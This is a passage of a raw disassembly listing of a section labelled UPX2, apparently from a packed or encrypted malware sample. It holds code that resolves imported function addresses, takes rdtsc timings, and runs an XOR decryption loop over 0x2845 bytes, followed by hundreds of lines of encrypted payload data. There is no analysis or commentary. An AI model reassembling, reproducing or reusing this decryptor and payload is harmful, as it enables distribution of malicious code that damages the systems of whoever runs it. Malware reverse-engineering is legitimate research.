		loop	loc_3142A0B6
		pop	ecx
		jmp	short loc_3142A0F7
; ---------------------------------------------------------------------------


loc_3142A0CF:				; CODE XREF: UPX2:3142A0C8j
		sub	[esp], ecx
		mov	esi, [edx+24h]
		pop	ecx
		add	esi, ebx
		movzx	eax, word ptr [esi+ecx*2]
		mov	edi, [edx+1Ch]
		add	edi, ebx
		mov	esi, [edi+eax*4]
		add	esi, ebx
		lea	eax, [ebp+10113Fh] ; CODE XREF:	UPX2:3142A156j
		mov	dx, [eax-17h]
		call	sub_3142A12A
		jmp	short loc_3142A13F
; ---------------------------------------------------------------------------


loc_3142A0F7:				; CODE XREF: UPX2:3142A07Cj
					; UPX2:3142A083j ...
		mov	eax, [ebp+103984h]
		and	eax, 10000000h
		jz	short loc_3142A123
		mov	edi, [esp+4]
		lea	esi, [ebp+103988h]
		lodsd
		mov	ebx, [ebp+1042CCh]
		stosd
		movsb
		mov	edi, [ebp+1042D4h]
		mov	esi, [ebp+1042D0h]


loc_3142A123:				; CODE XREF: UPX2:3142A102j
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================



sub_3142A125	proc near		; CODE XREF: UPX2:3142A06Ep
					; UPX2:3142A075p
		rdtsc
		retn
sub_3142A125	endp

; ---------------------------------------------------------------------------
		db 80h,	79h

; =============== S U B	R O U T	I N E =======================================



sub_3142A12A	proc near		; CODE XREF: UPX2:3142A0F0p
		push	ebx
		mov	ecx, 2845h
		mov	ebx, edx


loc_3142A132:				; CODE XREF: sub_3142A12A+11j
		xor	[eax], dl
		sub	dl, bl
		xchg	bl, bh
		inc	eax
		xchg	dl, dh		; CODE XREF: UPX2:3142A14Aj
		loop	loc_3142A132
		pop	ebx
		retn
sub_3142A12A	endp

; ---------------------------------------------------------------------------


loc_3142A13F:				; CODE XREF: UPX2:3142A0F5j
		push	80000075h
		les	ebp, [ecx-0Dh]
		lock dec eax
		jge	short near ptr loc_3142A139+1
		mov	dword ptr [edi+ecx*2-80h], 9EEFFE2h
		cmp	ah, [esi]
		js	short near ptr loc_3142A0E6+2
		int	0E8h		; used by BASIC	while in interpreter
		pop	ecx
		sbb	bl, 0
		and	edx, esi
		mov	word ptr [ecx+4], fs
		in	eax, 0B2h	; Interrupt Controller #2, 8259A
		jbe	short near ptr loc_3142A17E+4
		out	dx, al
		jno	short loc_3142A1AB
		mov	ebx, ss
		in	al, dx
		setalc
		adc	eax, ds:80B83E0Bh
		mov	dword ptr ds:473D80B6h,	6107F4A1h


loc_3142A17E:				; CODE XREF: UPX2:3142A165j
		mov	eax, ds:92721CF4h
		out	dx, eax
		adc	eax, 0A37FBD00h	; CODE XREF: UPX2:3142A19Bj
		mov	[ecx-52h], edi
		mov	ebp, 52680A10h
		add	ebx, [eax]
		sbb	byte ptr [edx],	0C0h
		sub	[esi+esi*8], eax
		dec	ebx
		jg	short near ptr loc_3142A184+4
		call	edi	; lstrcatA
		scasb
		not	dword ptr [eax]
		push	eax
		add	eax, 1DB0F17h
		out	0, al
		insb


loc_3142A1AB:				; CODE XREF: UPX2:3142A168j
		add	[esi+37h], cl
		outsd
		nop
		add	[ecx], eax
		std
		xchg	eax, esp
		lock mov ch, 5Ah
		retn	0Dh
; ---------------------------------------------------------------------------
		dw 0D5Ah
		dd 80A2151Ch, 955085B6h, 87250057h, 954CA5D6h, 3EA0073h
		dd 90ED80D4h, 2585007Fh, 80041509h, 887839Bh, 803010BCh
		dd 5CBBC6E0h, 814C10D7h, 0BE68B55Ah, 35E500F1h,	80661513h
		dd 3D09C9CEh, 80823E35h, 0D4820A8h, 0DFAE0024h,	0BEC295CAh
		dd 680B0053h, 545C0F4Eh, 0BE6005Fh, 0C09E142Ah,	806AC378h
		dd 9180099h, 90203612h,	0F2C068A5h, 805000B3h, 0BEFE953Eh
		dd 40D300DFh, 828A84D2h, 0DE500EBh, 9090004Ch, 39618B07h
		dd 809C0CAEh, 90AAEDA2h, 15350021h, 80D61263h, 622BA5BEh
		dd 0BC2ECD8h, 0B3F86A95h, 157359B7h, 801C1BC0h,	7C91AB60h
		dd 7E385728h, 0E8611CE8h, 804500BEh, 0BE649534h, 44E300C9h
		dd 8FAE85C7h, 807E9F71h, 80E09703h, 80F0017Bh, 0E826001Bh
		dd 80B5002Dh, 0BEF495C4h, 40550059h, 825C8458h,	80860065h
		dd 80FA6823h, 80620085h, 0D71AE84Eh, 0E87401F7h, 803300AAh
		dd 0BE769546h, 8A2600D7h, 7F5C01D5h, 90543676h,	807DE8F1h
		dd 0D16F00FFh, 0EA94000Fh, 8A41591Bh, 154F0A43h, 80AE3E9Dh
		dd 30FF1AEh, 90E456EEh,	4E70061h, 80F6025Bh, 80040695h
		dd 0C4464E8Bh, 7F204CD5h, 90107232h, 56898DB5h,	0B34A10D4h
		dd 3EE58D18h, 316610E1h, 0F59C93E3h, 38200F9h, 90AEF2B4h
		dd 4910017h, 80AC0225h,	0BE7885B8h, 0F0370051h,	5B538F4Eh
		dd 0BE41065h, 90CCDAEEh, 8170FF79h, 0B9268508h,	5970085h
		dd 803A3E65h, 0F39704Eh, 907F2F3Ah, 4AD98BCDh, 636210E5h
		dd 8101FFF3h, 0B9428578h, 0D070015h, 808A3EC1h,	0F15709C2h
		dd 0C9338F2Eh, 68C41004h, 80D201F3h, 0BFA8BDD4h, 4F650077h
		dd 590A001Fh, 30E707Ch,	0C0720370h, 0EA71F99Ch,	0D2C6AADh
		dd 9057E30Eh, 8049B9C9h, 84D300D7h, 7F93FEA8h, 0DD1660Ch
		dd 80884D05h, 2BF0000Fh, 2BA04790h, 153FE419h, 80D03DCDh
		dd 824766EBh, 425FAB33h, 0B1FE261h, 0E8F86AA5h,	80067293h
		dd 807ECC06h, 8048C410h, 803000C1h, 0D17E6ABFh,	0D0426A97h
		dd 0BE94952Ch, 33000F1h, 6C1E402Bh, 0B84008Fh, 0B926ADFh
		dd 0EAE06AD5h, 0D2AC6A27h, 6CD4005Fh, 0EACA0031h, 7FB25151h
		dd 5673FF0Fh, 0DFF41053h, 8FFD8522h, 8011070Dh,	80AB8D97h
		dd 392C10B5h, 803A0C08h, 25BBEF4Ah, 9056ED4Eh, 5E900CDh
		dd 806214A9h, 0D4D0E006h, 7FE4206Dh, 0BE4295EAh, 402F0033h
		dd 688C756Eh, 80C60170h, 80D411A5h, 0C487535Bh,	0E785620Ch
		dd 0F6977227h, 0E7696CECh, 684D00F6h, 802805F1h, 0C27AB550h
		dd 15BB00ADh, 80423EA9h, 0A6F5FF8Eh, 0EA6E10D9h, 7F7E6AF5h
		dd 90B45696h, 81B0B911h, 0AB31001Fh, 0A4B889CCh, 153D576Fh
		dd 80C03ED3h, 255DF664h, 80FC3F53h, 7FAD5473h, 90369E14h
		dd 0F4D6858Fh, 7EA746FBh, 7FDC72AFh, 0EA4824CDh, 7F646AC7h
		dd 90629640h, 0F4AA85E3h, 890932Dh, 0B38600FAh,	0BA7791C4h
		dd 0BF948522h, 0B2C50039h, 0A49A7CB6h, 0F3BE7326h, 415B2827h
		dd 80E80EC6h, 0D6A6543Fh, 0D354502Ch, 0BE5C9574h, 40A50089h
		dd 7F2174FEh, 0F3424C1h, 90753646h, 7D9DE8D1h, 7F35FF20h
		dd 904A2678h, 10CEBFBh,	809128CDh, 15615717h, 80BC3E03h
		dd 0BE9C95CCh, 40210051h, 8029FFB4h, 0EAE46A07h, 0EAF26A6Bh
		dd 80016879h, 44850083h, 0EA4C00FFh, 7FEE8BAFh,	0DF405653h
		dd 0B346008Bh, 7F8EE804h, 15EFFF24h, 806015B8h,	0D02F51A5h
		dd 0BEA695FAh, 44190003h, 7F23C301h, 80EE5877h,	80C432D1h
		dd 80D20E20h, 80E00058h, 80EE0067h, 80FC0075h, 800A2907h
		dd 80180091h, 7F7556CEh, 900A3238h, 2C1BABBBh, 7B25C04Dh
		dd 0D9DEE35h, 90757D70h, 158552F3h, 80983E8Bh, 0C2DA8586h
		dd 964C000Dh, 0CCB2002Bh, 0F5AB6F56h, 0E9BC5037h, 0E5B06923h
		dd 0E1BC6504h, 0C19D751Dh, 15F9507Fh, 80043EBFh, 0C2728512h
		dd 0DCF300B9h, 0E54D61F5h, 0E521618Bh, 0EA384FB7h, 0F31C6384h
		dd 0D30256B3h, 80F06398h, 0F2E67367h, 80CE6575h, 0E1CB7264h
		dd 0E9FA6541h, 808B652Fh, 0E1BD7212h, 0E9A0652Bh, 0E1B96501h
		dd 0EE6B700Bh, 0C31041EEh, 0F47F65E5h, 0EF5E50C0h, 0F34965D0h
		dd 0F20B0080h, 0E52261AAh, 0EF09658Fh, 0E826659Fh, 0E4E1658Bh
		dd 0E5FC4307h, 0D4F97474h, 0E1CF724Bh, 0F2FB0055h, 0E5B2615Ah
		dd 0ECBB6F19h, 0F08E6533h, 0EEA3325Ah, 0E88D7016h, 0C50C74EAh
		dd 0D46E69EBh, 0E14D72C9h, 0E97000CBh, 0E91065D1h, 0EF0665A6h
		dd 0F413798Ah, 0E93A6D82h, 0C67C6598h, 0CCEF6571h, 0E1EA6278h
		dd 0C7A6796Dh, 0E9F27448h, 0F4836557h, 0E2B9723Dh, 0F3BB7422h
		dd 0E5AB0024h, 0EC934607h, 0FA6153E4h, 0E55100EAh, 0EC4D46E9h
		dd 0ED5B54CEh, 0E50700DCh, 0E4214DB3h, 0C8396CA0h, 0EC0E6E82h
		dd 0C7784194h, 0E5D2749Ah, 0E9D27060h, 0E1EC6577h, 80F16544h
		dd 0D4CA6570h, 0D0BC6D20h, 0C1B27432h, 0F48D4761h, 0F3846539h
		dd 806A6F14h, 0D66665CCh, 0E95372FCh, 0F86B6EC8h, 0E57B00F4h
		dd 0EC2556B7h, 0C93D6DA4h, 0F20966B1h, 0E9006180h, 80C36E94h
		dd 0E4F16F45h, 0F2FC695Bh, 0C1D57244h, 0F0DB4D33h, 0F7AD6917h
		dd 0E9906600h, 0CFE46531h, 0C69C651Bh, 0CD656C10h, 0E97E70E6h
		dd 805D67FBh, 0EE4F70ECh, 0E35772E1h, 803573DAh, 0E33B729Dh
		dd 0B31173BEh, 0F21946DBh, 0D07E7484h, 0E5EF6F77h, 0B2A97360h
		dd 0F4D0656Fh, 0F4D3532Fh, 0E5A8697Bh, 0F2A6740Ah, 0F4956230h
		dd 80AF7302h, 0C6886526h, 0D46F6CEAh, 807D6DF8h, 0E5436CCCh
		dd 0F96700DDh, 0ED2774C8h, 0E53D699Dh, 0E9186F83h, 0E9386589h
		dd 0D57A659Eh, 0F0E96D6Fh, 0F7F36959h, 0E9E26652h, 0D6B26547h
		dd 0F5B47250h, 0EC8F6C26h, 80BF6F39h, 0F4837234h, 0EC914614h
		dd 0F448001Ah, 0F57E64CCh, 0F27274E8h, 0EC5976C0h, 0F35B67D2h
		dd 0E5276F91h, 0F41400BDh, 0E10D72A2h, 0E930659Bh, 0CE846591h
		dd 0E5E0437Fh, 0D0C57478h, 0E5CD6F55h, 0CEBC7346h, 0E5B84337h
		dd 0D0BD7430h, 0E5856F2Dh, 0F8B1731Eh, 0C3764E7Bh, 0F47165FBh
		dd 0E37B53F2h, 0EE4369D1h, 0C34E4EB3h, 0F42965B3h, 0E52555AAh
		dd 0EF1650AFh, 0F3016588h, 0CDF44EF9h, 0E9D87066h, 0E6D37770h
		dd 0F4C96570h, 80D66F58h, 0F0897471h, 0E9926E28h, 0CEE26537h
		dd 0E5804F1Dh, 0EF8C5019h, 0F37F65E6h, 0E5716FC7h, 0F46600CFh
		dd 0EE5370E0h, 0F42765EEh, 803C6FA2h, 0F2307497h, 0E30B7488h
		dd 0F2155681h, 0ECEB7577h, 0EFF5655Ch, 0CEA6796Dh, 0E5C15159h
		dd 0EE8B7949h, 0EDA26F2Fh, 0EFB77436h, 0EB83540Bh, 0CEFA6E16h
		dd 0E97A57F5h, 0E94065FBh, 0E15174EFh, 0ED574DC7h, 803972D6h
		dd 0D5227495h, 0EF3F69BBh, 0F4396587h, 0E7166983h, 0EEC76FABh
		dd 0F4C7697Eh, 0E7CC6969h, 0C1E35729h, 0F2DF7464h, 80BC7531h
		dd 0F3B56C30h, 0E3877304h, 80826504h, 0EE6A6F1Eh, 806663EEh
		dd 0E85465FEh, 0E25A73C8h, 0ED5D6ECCh, 0E53800A6h, 0F35876B2h
		dd 80026EBAh, 0EB176F9Eh, 0C982749Eh, 0F2F57467h, 0C3EA6579h
		dd 0E5DF6F49h, 0E4D4617Bh, 0C9C8652Dh, 0F2B37421h, 0C7906533h
		dd 0EFB1740Eh, 0E3656E17h, 0D36A65F3h, 0E56861E1h, 0F44449A3h
		dd 0E55672D4h, 0E5364FCBh, 0C95441A3h, 0F20774B5h, 0CF046587h
		dd 0D5106587h, 80CD6C77h, 0E5EE6E5Ah, 0F4CD6E53h, 0E4D7657Dh
		dd 0E5A8697Bh, 0D696414Bh, 0B3A95018h, 0CCAA2E55h, 0E5AE0039h
		dd 0EF6643E4h, 0E55365E2h, 0E57400E6h, 0E5444FCAh, 0F9274BD5h
		dd 8011788Ch, 0D1396585h, 0F91E6590h, 0F51661A5h, 0C1F04564h
		dd 0E7F3520Fh, 0D6D0654Eh
		dd 0E5C76C4Ah, 8081787Ch, 0EA383311h, 0B8A5657h, 0D2EB6AB7h
		dd 0D6E0728Eh, 0C2569580h, 449F009Dh, 0D07456CDh, 9840FFFFh
		dd 0BE809548h, 44CF00D5h, 88985EC3h, 7B218DE1h,	0E827C8C4h
		dd 688400FDh, 83B64C86h, 85CA0073h, 0EAFD5076h,	0D0708B30h
		dd 0D49AD4C8h, 0D289403Bh, 6673FF0Ch, 3F41053h,	15FD0CBFh
		dd 80003E67h, 4316C414h, 0BDD89528h, 490900A3h,	0E81A00ABh
		dd 806400FFh, 0D135C456h, 0D1224081h, 40031893h, 8EE4540Fh
		dd 6209FF45h, 3AA101Dh,	528B20F5h, 19C9C0BAh, 0D80EF78Fh
		dd 0D721C278h, 4118FF5Ah, 8F01FF88h, 800CA501h,	6C725093h
		dd 0B2800D3h, 0B366A7Bh, 0E8046A71h, 804200CBh,	0EA3202B3h
		dd 0F28268E7h, 801600F5h, 7FDA5352h, 90A6D684h,	7FFF5F1Fh
		dd 908A26B8h, 0F43D853Bh, 85D8B38h, 63DE1042h, 80798D69h
		dd 83FA1063h, 7F5B5750h, 42938B5Dh, 0D2410A3h, 801ADA24h
		dd 7F6BE8B9h, 5C5FF38h,	804C3E0Fh, 0A94D8F6Eh, 9A9000F1h
		dd 0B79FF00h, 90AAC688h, 0AE2D8D1Bh, 68B00000h,	7F41FF3Eh
		dd 0BE0685CEh, 405F0043h, 0F652015h, 80F62954h,	7FFAF495h
		dd 52978B74h, 52010A7h,	0D257467h, 8015483Ah, 7E95E8C3h
		dd 47D3FF2Eh, 6833C380h, 807400EDh, 9C6F81A6h, 0B3901012h
		dd 271B8DDEh, 0D1AC103Bh, 0D0EB5167h, 15375110h, 80C63E1Dh
		dd 7FC004DAh, 90CC26FEh, 84C25D79h, 80E65587h, 0DD1C0095h
		dd 9B61ED22h, 7F5200A1h, 9B509532h, 0D20400DDh,	80462016h
		dd 44F300C3h, 5B966FBh,	809C1B59h, 55D20DEh, 80B81B7Fh
		dd 809C000Bh, 9AAEC360h, 80DBE813h, 0C26D0059h,	4910AA06h
		dd 0E93FF000h, 90354016h, 889C0591h, 15AF4297h,	80243FEDh
		dd 0D581E24Ch, 80500021h, 6DDF5DD7h, 807C1B40h,	0BF3E9D78h
		dd 0FC0B0011h, 8F96082Bh, 80A4B999h, 885E812Bh,	0D4C0003Bh
		dd 80CF042Fh, 0FA49FF55h, 0BEA105Dh, 0A47C8D8Dh, 8006017Bh
		dd 68146ADDh, 8022009Fh, 806252FFh, 0F6ABFFE0h,	0B34C10FBh
		dd 84CD8D1Ah, 0D16800E0h, 0D1746ABEh, 80EC0197h, 0D2D2000Bh
		dd 0BEE295E6h, 5380037h, 0D0E774C3h, 81CE6817h,	7F8F0051h
		dd 82C624EBh, 150B006Dh, 80123F59h, 0F4D085D0h,	0D00AE381h
		dd 8046D42Eh, 0D66D51E1h, 0BEF2953Eh, 50F00DFh,	0D6B4751Dh
		dd 0BE549514h, 0D70D00E9h, 0EAD95243h, 17115851h, 80AA0127h
		dd 0EA78339Ah, 2B35592Fh, 0D084501Dh, 0D2B2500Bh, 0BEBA9596h
		dd 447F0067h, 800C028Dh, 883E746Ch, 0BF3A955Eh,	7F6500BFh
		dd 907B1228h, 84905DCBh, 8A5E80D9h, 0B280192h, 90698478h
		dd 0D93E303h, 90880084h, 0D677031Fh, 4030D2D2h,	81DD8834h
		dd 4DF0049h, 80DE0147h,	0F5D63EE5h, 0BE7A4663h,	818C0F81h
		dd 16008Eh, 715120A3h, 0D00C81EDh, 0F5074EF0h, 46818B85h
		dd 0AB130193h, 8000512Dh, 7F2B56A0h, 90B90A6Ah,	41AF590Dh
		dd 807D8514h, 53D0029h,	80AE1EACh, 8CA4002Fh, 0D0DA0053h
		dd 8A7DFF32h, 0BDF61050h, 80040071h, 80AD8584h,	31C90099h
		dd 12E00A7h, 0C96E508Bh, 25CF0F95h, 35800D1h, 0BCCA0819h
		dd 19F00FE0h, 0BC8200FBh, 2C637529h, 5913A2Bh, 80AC00A9h
		dd 0A09A0D9Eh, 0A1F52061h, 0F5A26528h, 0A0D8AC22h, 0FE737C1Eh
		dd 0F4682086h, 17F75F3h, 0BA6C03EBh, 0E85F2F8Ch, 80C74777h
		dd 90FC31B0h, 775400EAh, 159D5239h, 80603E43h, 0D02EC0C4h
		dd 89645055h, 0C49A0013h, 0ECC6774Eh, 80D26140h, 0BFDE95C2h
		dd 4057005Bh, 49D3362Dh, 0BFAA85EEh, 0E8AD0065h, 0A0283h
		dd 0D04E51C0h, 0BF389560h, 15B900BDh, 80521B24h, 0D4993399h
		dd 0D10C5086h, 0D2F9FFB4h, 77A10CDh, 15772405h,	80863E29h
		dd 0D24C3E5h, 80A2155Ch, 0EA03F938h, 7FCF6A46h,	84AFFF66h
		dd 406F159Ch, 5BCB5A05h, 8BB5D0F4h, 0D28508Eh, 903FC32Eh
		dd 8C8A8BA9h, 0B3E00B6h, 804D084Fh, 0ABA203D3h,	4BE3602Ah
		dd 0F417A61Ch, 756647F8h, 47112EE0h, 4C2B5316h,	0D07A8B70h
		dd 0D1FC6A61h, 7F356A11h, 90E6E6C4h, 0DA6B8B5Fh, 3F41053h
		dd 4F290CBFh, 4717E90Ah, 681E6A90h, 836389A5h, 0C6755370h
		dd 0D2095795h, 0E91B5C8Ah, 0F30B72BEh, 0DC066684h, 0E4EE69AEh
		dd 0DCFD7768h, 0F2EE7556h, 0D6DE6E46h, 0E9CB7254h, 0C59A6E50h
		dd 0EFB87035h, 80906529h, 0E782613Dh, 0EFB67412h, 820C74F6h
		dd 0D54A0093h, 0F0F88FD3h, 0E94E6FDDh, 0F22D2ED0h, 0EC3367A8h
		dd 0AE1978B8h, 0CE6E6C97h, 0A03743BCh, 0F4E0756Fh, 0E5F56C72h
		dd 0C5F55515h, 0CADB207Fh, 0A08C4974h, 0F2B9766Fh, 0D5D47523h
		dd 80EC008Dh, 6D7B5D73h, 80181E2Ch, 95618549h, 7F24008Dh
		dd 900C7E3Eh, 9FA8C1B9h, 9E243CB3h, 0BE6AB55Eh,	2C3300F3h
		dd 0AA0D2ECDh, 7FB88199h, 0DB77510h, 909D3AA6h,	82C68B29h
		dd 25D8A560h, 0B87C85C8h, 5550043h, 80F838B7h, 7AB08995h
		dd 7BFA4EF1h, 4FF0013Ah, 0A1C85072h, 3D1FF5Ch, 843424C9h
		dd 88A244B6h, 0D35800D1h, 0C4484399h, 7F744CA1h, 90BC8A6Eh
		dd 0F4500B09h, 82F4931Ah, 0B239FF76h, 7FBA100Dh, 17209391h
		dd 6829FFB1h, 80E40056h, 0DFB14638h, 0C42E5336h, 7F0E4CCBh
		dd 90228A00h, 7E56E8A3h, 80D0FF4Eh, 7FB9FF49h, 9046DC40h
		dd 0DAB33DBh, 9032E86Ch, 0D12F51F7h, 0D1DD5054h, 60FFF42h
		dd 68A8101Fh, 80B60024h, 0D2815368h, 0C4FC3278h, 7FE04C15h
		dd 90D08AF2h, 80F6E875h, 0F37D0083h, 0EE7172E1h, 806766EBh
		dd 0B2A1FFFDh, 9421085h, 906E3A4Ch, 0D6F0FD7h, 90757D68h
		dd 0C0FF89F3h, 0D188103Eh, 0BE1C95F0h, 0E837000Dh, 80B2002Fh
		dd 994AB5B4h, 0D970057h, 90E326E8h, 7528E863h, 479EFF8Eh
		dd 90186DFAh, 344008Dh,	903C6F3Eh, 15BD00A9h, 802E1E9Ah
		dd 81265495h, 0E80800B9h, 6800E3h, 0BF5C9510h, 400100EDh
		dd 0DB07551h, 90BE6094h, 86C45227h, 9ED1B5B8h, 0D69E0053h
		dd 0D2895001h, 0BFC895A0h, 7FAC007Dh, 903D26EEh, 0C795C689h
		dd 801E10D6h, 802C0C4Dh, 0CF6957B3h, 0B27B4B82h, 0CC1A44E1h
		dd 0AF1FFDDh, 137210D5h, 80800791h, 613B8D07h, 0D99C100Dh
		dd 0BE5CBDAEh, 0BD500021h, 6839FFCAh, 80D40041h, 0C9AC490Ch
		dd 0AEA44527h, 80B24C33h, 0BE86957Ah, 409F0083h, 821D84AEh
		dd 0E8A500AFh, 804400B8h, 994DB546h, 0D3900C9h,	9051125Ah
		dd 757AE8F5h, 3D09FFFCh, 80883F07h, 90220F1Fh, 1B4002Fh
		dd 80C390D7h, 81B85449h, 7FDE0056h, 90D2F6F0h, 103E8173h
		dd 0D0080080h, 807CD404h, 96B1FFCFh, 5321094h, 8D355979h
		dd 805D88AFh, 2AC9FFD5h, 6B6A10DDh, 0EFC58313h,	808610E1h
		dd 5192978h, 80B21E68h,	8225FF79h, 5BE1008h, 9480F85h
		dd 0BDA0052h, 80630C21h, 5793090h, 80141E12h, 0C155854Dh
		dd 0EA210089h, 0EA2F6AA7h, 8EA9FFB7h, 34A10FCh,	457FF29h
		dd 806601BFh, 0EBE18D7Eh, 0EA8210E5h, 7FC35219h, 90A0FE82h
		dd 8F6C8525h, 80BB40B6h, 0C758D41h, 31D61051h, 7AD8E855h
		dd 149AFF94h, 0DE000079h, 0B487E6ACh, 15E354B1h, 803A3E21h
		dd 9EA2BD3Ch, 81F700AFh, 7FAE1D25h, 7F78D24h, 0EA7010F7h
		dd 806A68F7h, 0D3DE0005h, 0BF9095ECh, 0C4250031h, 153B140Bh
		dd 80D442D5h, 8A640F1Bh, 94C444D2h, 82E6E0A6h, 0CAEE013Fh
		dd 83401281h, 883C449Ah, 4129E11Fh, 8B65084Dh, 7F5224FFh
		dd 3DDD50FBh, 804E3F9Fh, 806C1C0Dh, 0B65425F3h,	0A0A62079h
		dd 0A5AC2021h, 0B88A2538h
		dd 0A0CA2553h, 0CACA731Ch, 0A0804908h, 15235755h, 80FA3E59h
		dd 8054C4F0h, 806C007Fh, 7F4757DDh, 901D0A0Eh, 10BD8BA9h
		dd 0EA3E10A2h, 0EB57E3C5h, 680B0D1Ah, 806800E4h, 8A1225C9h
		dd 157B57FDh, 80823E31h, 0D0ACC49Ah, 87C60BCCh,	0DBC0035h
		dd 90D4A0FEh, 7F8B5751h, 90D90ACAh, 0FE34856Dh,	0C8B78D2Fh
		dd 31010B6h, 900B9032h,	0DA100A5h, 802A41F4h, 8022CEEAh
		dd 7F05569Eh, 905B0648h, 808A83EBh, 0B112F87h, 0C83B8DF9h
		dd 309C102Ah, 0F504F22Eh, 0AA506021h, 0E139FFC5h, 8937173Fh
		dd 6BE377D6h, 0AB3F8B83h, 0C8438DB9h, 730C10BAh, 6BED8737h
		dd 15D75318h, 80263E55h, 9533BD3Dh, 0F45300DBh,	0F55068F3h
		dd 159100E7h, 806C3E5Fh, 0C1CDBD83h, 0F4980001h, 0EF23C70Eh
		dd 80B41033h, 46C2003Bh, 909147CCh, 88370057h, 4713FF9Bh
		dd 90EF80F6h, 80080081h, 84D45D0Fh, 0CF2E0D9Dh,	0EF5D6E8Bh
		dd 0E62F20D7h, 0E6276CE7h, 0CF7C21B0h, 0ED0374C3h, 0EF0C2094h
		dd 0ECE363DFh, 0E1E66268h, 8D83656Fh, 0A0902023h, 0A0F12017h
		dd 0EDA17536h, 0E7FA7236h, 0E58C7200h, 8AFB2101h, 0E568652Fh
		dd 0E57E74E5h, 0F94C73EAh, 0F04F6887h, 0E11C79C5h, 0E56A64ADh
		dd 0E33D70A9h, 0F40861ABh, 0F40720C1h, 0E9E66E9Ah, 0A0AA6767h
		dd 0D7940D3Ah, 0E8CF7444h, 0A0DD6E5Ah, 0A0A46C20h, 0A0AF612Bh
		dd 0A0806E3Ch, 0E8956905h, 0E6202C0Dh, 0E62E72E8h, 0EE7969E7h
		dd 0C90A73C7h, 0E9597791h, 8A4B3ACBh, 0F231689Ah, 0F20320BEh
		dd 0EF09208Ch, 0E65E2C82h, 0EEE96977h, 0A0A57377h, 0E5C56F62h
		dd 0F4FF200Eh, 0A0B7691Dh, 0E5BF693Fh, 0F4A92078h, 0ECCE7340h
		dd 0A1997414h, 0B0CD8487h, 0C02F52D9h, 0CFF27A9Ch, 0C003529Fh
		dd 0EF2A7AB1h, 90F614E0h, 0B1152147h, 4704986Ah, 95FF8FD6h
		dd 7528698Dh, 1A981234h, 98410F6Dh, 42DECC77h, 5878B36Bh
		dd 80CE0047h, 80DC0055h, 80EA0063h, 80F80071h, 8006007Fh
		dd 8014008Dh, 8022009Bh, 803000A9h, 803E00B7h, 804C00C5h
		dd 805A00D3h, 806800E1h, 807600EFh, 808400FDh, 8092000Bh
		dd 80A00019h, 80AE0027h, 80BC0035h, 386F8323h, 80D81013h
		dd 0C25AA5DCh, 8FF4007Dh, 0D1643CCh, 371F18DAh,	501D06DCh
		dd 0A408442Eh, 0F2364298h, 880A3BD8h, 0C2DD14BCh, 8C262BC9h
		dd 0C2CA9562h, 50900E9h, 809E42BBh, 421F05FEh, 0E173E20Bh
		dd 8B804F3h, 90E25FBAh,	80B0E84Dh, 9F8A005Bh, 0DF00069h
		dd 90DD8CF2h, 98355985h, 40990CE7h, 7FDFE2A5h, 9074942Ah
		dd 59B3C3BDh, 0A40D8DC8h, 908300C9h, 0F927018h,	849483F5h
		dd 1D03F6E1h, 8088239Dh, 0F4A63A9Ch, 83862B28h,	0CE4F1049h
		dd 0DE8B58B5h, 0F4DE3AD4h, 6BDEFF61h, 9088FF70h, 7FF75769h
		dd 0ABD82B70h, 9066BC10h, 0CB3158ABh, 5CFC38Dh,	805E425Fh
		dd 0C2C88512h, 806A00F3h, 0BC9000F1h, 0B8600FFh, 90D69488h
		dd 760BE81Bh, 9858FFD6h, 3BE0037h, 908E94F8h, 88AF0053h
		dd 0A4E09DE8h, 1C1D007Fh, 0C2908D82h, 0FD1009Bh, 9062981Ch
		dd 14BB89A7h, 683C10F7h, 804A00C0h, 0B9BC9E2h, 8066804Ch
		dd 6D9C52EDh, 837DFF05h, 90D2BC9Ch, 3480317h, 8FAC0C5Fh
		dd 80BB07B7h, 90B28341h, 7D520F4Fh, 0BE4005Dh, 68A20C29h
		dd 7FFFFEB1h, 0C2B28584h, 461F0085h, 228AF3h, 994C0048h
		dd 0F468F93Fh, 71BF40CEh, 1634850h, 5FAFDF08h, 0C4878128h
		dd 0F58C4C49h, 48B159FFh, 8F52F9A2h, 80B6B7A0h,	0F845663Dh
		dd 8FE033B5h, 80E0ABDCh, 0BA6D5667h, 0BF97575h,	82E110C9h
		dd 711B0A1Ah, 7E54E8CEh, 3537FF52h, 80524207h, 0F8908564h
		dd 4DA0F2Ch, 7F6C00E5h,	9038BC46h, 0D5605001h, 8369FFF1h
		dd 90E6BC98h, 3C378F2Bh, 83C0107Bh, 39D2443h, 5BEF0295h
		dd 63E2B66Ch, 0A0318063h, 0A422C12Ch, 0A4082989h, 0DB060CB2h
		dd 1D9EBE9h, 3BE90F4Ch,	1727418h, 0EE1FA828h, 15E743Ah
		dd 214D5914h, 1AA7402h,	35B0D6F0h, 18674B5h, 0D84793DCh
		dd 1A274C6h, 0D8237DB8h, 1CE74A2h, 0A5D946A4h, 1FA748Ch
		dd 0A53D3080h, 7F167468h, 905C9802h, 0F1C55BA5h, 0DEC5FF4Ch
		dd 695CC242h, 7FA9FE20h, 840E021Eh, 753BE8B3h, 1508FF06h
		dd 809E263Eh, 98ADB873h, 646AE221h, 0E65A0232h,	0D8C06A94h
		dd 7F212EA5h, 882083A4h, 859AD1EEh, 75DFE82Fh, 7A8CFF7Ah
		dd 30117390h, 0B9AD02F1h, 2A361089h, 0E82E2756h, 7AD2AA93h
		dd 307875DAh, 756FE8F6h, 81C4FF0Ah, 48A0003h, 519574C3h
		dd 6B6CFEFFh, 38B1EBDBh, 0C2003Bh, 436FE2E2h, 0B94E95DAh
		dd 57C70075h, 7739DA84h, 90318404h, 8016008Fh, 40B10F95h
		dd 7639E06Ah, 9079823Ch, 863B01C7h, 0A5D50DB3h,	59C1308h
		dd 80683973h, 0E68075FDh, 6BB13100h, 81AF661Fh,	681B660Ch
		dd 7F41FF8Bh, 9F843CEh,	9098ACC6h, 772BAB61h, 90CF84EAh
		dd 8004007Dh, 40870F83h, 688ABC9Dh, 7FD1FF3Bh, 0C28C953Ch
		dd 5BC00D3h, 80483953h,	8F6275DEh, 0AB76EBDCh, 7741AB3Bh
		dd 90A9848Ch, 809E0017h, 0A8B742Dh, 90837EB6h, 8B28C141h
		dd 0C55D0D29h, 7854AB3Bh, 0FE778AC1h, 41001040h, 0E70B1B67h
		dd 2B1A89F1h, 2B4CC090h, 0E480125Ah, 2B460530h,	0B92A8547h
		dd 0D86600CBh, 2B68E028h, 14FBC634h, 898C1022h,	7C2A25F8h
		dd 38CE20CAh, 2BD000C4h, 84AE19D6h, 74DBE813h, 846DFFA6h
